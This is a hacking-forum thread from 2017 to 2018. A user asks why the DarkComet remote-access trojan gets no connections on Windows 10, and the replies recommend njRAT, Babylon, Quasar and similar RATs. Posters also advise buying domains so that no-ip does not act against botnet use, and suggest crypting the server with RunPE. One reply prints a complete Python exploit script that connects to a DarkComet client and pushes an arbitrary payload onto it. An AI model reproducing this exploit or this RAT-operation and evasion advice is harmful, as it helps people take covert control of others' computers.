Thread: [Dark comet not working in windows 10](#)

Jensmall - January 12, 2017, 11:39 am

Hey guys I'm having difficulty setting up. Dark comet in Windows 10 I have all my ports forwarded the local DNS is set up through noip ' I'm using a zapto.org domain I'm still not getting any connections through my friends computer nor mine it used to work flawlessly before I upgraded to Windows 10 my firewall is disabled can't think of any reason why I'm not getting a connection thanks HF

TheMockingBird - January 12, 2017, 11:51 am

Just don't.

Don't use DarkComet.

As a free RAT, i would recommend using Babylon RAT or njRAT.

Jensmall - January 12, 2017, 11:56 am

I will have to dabble with nj rat where can I find the DL link ?

????????? - January 12, 2017, 11:59 am

we cant stress this enough. DO NOT USE DARKCOMET

Mirai - January 12, 2017, 11:59 am

Why not use darkcomet? I've used it in the past no problem. I'm using babylon now though and babylon is aloooot better

Jensmall - January 12, 2017, 12:00 pm

Thank you all, I will update you all on my quest.

,Jenn

Because simply by opening Darkcomet, a person can hack you and install a rat on your PC.

Mirai - January 12, 2017, 12:01 pm

Read this python code:

Spoiler [\(Click to View\)](#)

Code # DarkComet RAT - Exploiter

written by Slayer616

Thanks to: Opcodez, Zacherl, steve1020, 2sly, Protocol, all other friends/coders/supporters

import socket

```

import os
print("-----")
print("DarkComet RAT Exploiter")
print("Coded by Slayer616")
print("-----")
sIP = input("Type in IP of the Remote PC: ")
sPort = input("Type in Port of the Remote PC: ")
sFile = input("Type in full path to Payload: ")
if os.path.exists(sFile):
    bLen= os.path.getsize(sFile)
    if bLen < 8097:
        if sPort.isdigit():
            print("Connecting to %s on Port %s" % (sIP,sPort))
            sSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                sSock.connect((sIP, int(sPort)))
                print("Connected to Remote PC!")
                sData = str(sSock.recv(1024),'ASCII')
                if sData == "IDTYPE":
                    print("Valid Client! Now sending request!")
                    sSock.send(bytes("TRANSFERupnp.exe|DLFILE|562|7","ASCII"))
                    sSock.recv(1024)
                    sData = "Size:%s" % (str(bLen))
                    sSock.send(bytes(sData,"ASCII"))
                    sSock.recv(1024)
                    f = open(sFile,"rb")
                    sData = f.read()
                    f.close()
                    sSock.send(sData)
                    sSock.close()
                    print("Finished! Now wait until Client.exe restarts!")
                else:
                    print("This is not a valid DarkComet Client!")
            except:
                print("Couldnt connect to Remote PC!")
        else:
            print("Port is not a valid Integer!")
    else:
        print("Payload is too great! Use one with less then 8Kbyte!")
else:
    print("File not found!")

```

They don't even need your IP, as darkcomet has a banner that can be picked up automatically.

Jensmall - January 12, 2017, 12:03 pm

One last question with NJRat will I be using no-ip as my dns or will I need another wise?

FractumSeraph - January 12, 2017, 12:05 pm

(Jan 12, 2017 01:03 PM)Jensmall Wrote: [\[CITE\]](#) One last question with NJRat will I be using no-ip as my dns or will I need another wise?

No-ip will eventually take action against anyone using it for something like a botnet.
 Either buy a cheap domain to use for like \$3, or find a different dynamic IP provider.

They don't even need your IP, as darkcomet has a banner that can be picked up automatically.

Thanks for the heads up

Gegi - January 12, 2017, 12:07 pm

DarkComet simply won't work on Win10.

However if you run it with a RunPe (eg crypt it), it will fix the issues because of the manual mapping of the server.

rosie - January 12, 2017, 5:30 pm

I have use darkcomet in windows 10 + virtualbox and it was working fine

scervany - July 4, 2018, 10:38 am

So guys you suggest njRAT as a best alternative free RAT ?

CyberStrike - July 4, 2018, 11:14 am

(Jul 4, 2018 10:38 AM)scervany Wrote: [\[CITE\]](#) So guys you suggest njRAT as a best alternative free RAT ?

DarkComet has multiple vulnerabilities as stated in previous posts, there many free alternatives if you don't mind seeing a cli then pupy, powershellrat, metasploit yet njrat and quasar are fine for a GUI if that is what you are looking for.

6677 - July 5, 2018, 12:28 pm

I wouldnt use Dark Comet anymore considering that there are alot of downloads with back doors

Tsachev - July 5, 2018, 12:42 pm

what a shit community. Ask a question how to fix windows 10 darkcomet ,get 50replies how shit it is and no reply having to do anything with the actual question asked.

LSDoom - July 5, 2018, 12:46 pm

Dark Comet hasnt been touched for YEARS, it might never work on Win10. I would suggest trying some other free RAT that is still supported.

Cytax - July 5, 2018, 12:47 pm

This vuln was patched many years ago, it only worked for like 2 days. That being said, yes, there's indeed several security flaws, DC was coded rather poorly overall. There's no reason to use DC in this day and age, other than nostalgia.

(Jul 5, 2018 12:42 PM)Tsachev Wrote: [\[CITE\]](#) what a shit community. Ask a question how to fix windows 10 darkcomet ,get 50replies how shit it is and no reply having to do anything with the actual question asked.

They answered the question that OP should have asked.

(Jul 5, 2018 12:46 PM)LSDoom Wrote: [\[CITE\]](#) Dark Comet hasnt been touched for YEARS, it might never work on Win10.

There's an updated version of DC, but DarkCoderSC has kept it private. Although I wouldn't be entirely surprised if he decided to publicly release it someday. He still has his inner demons.
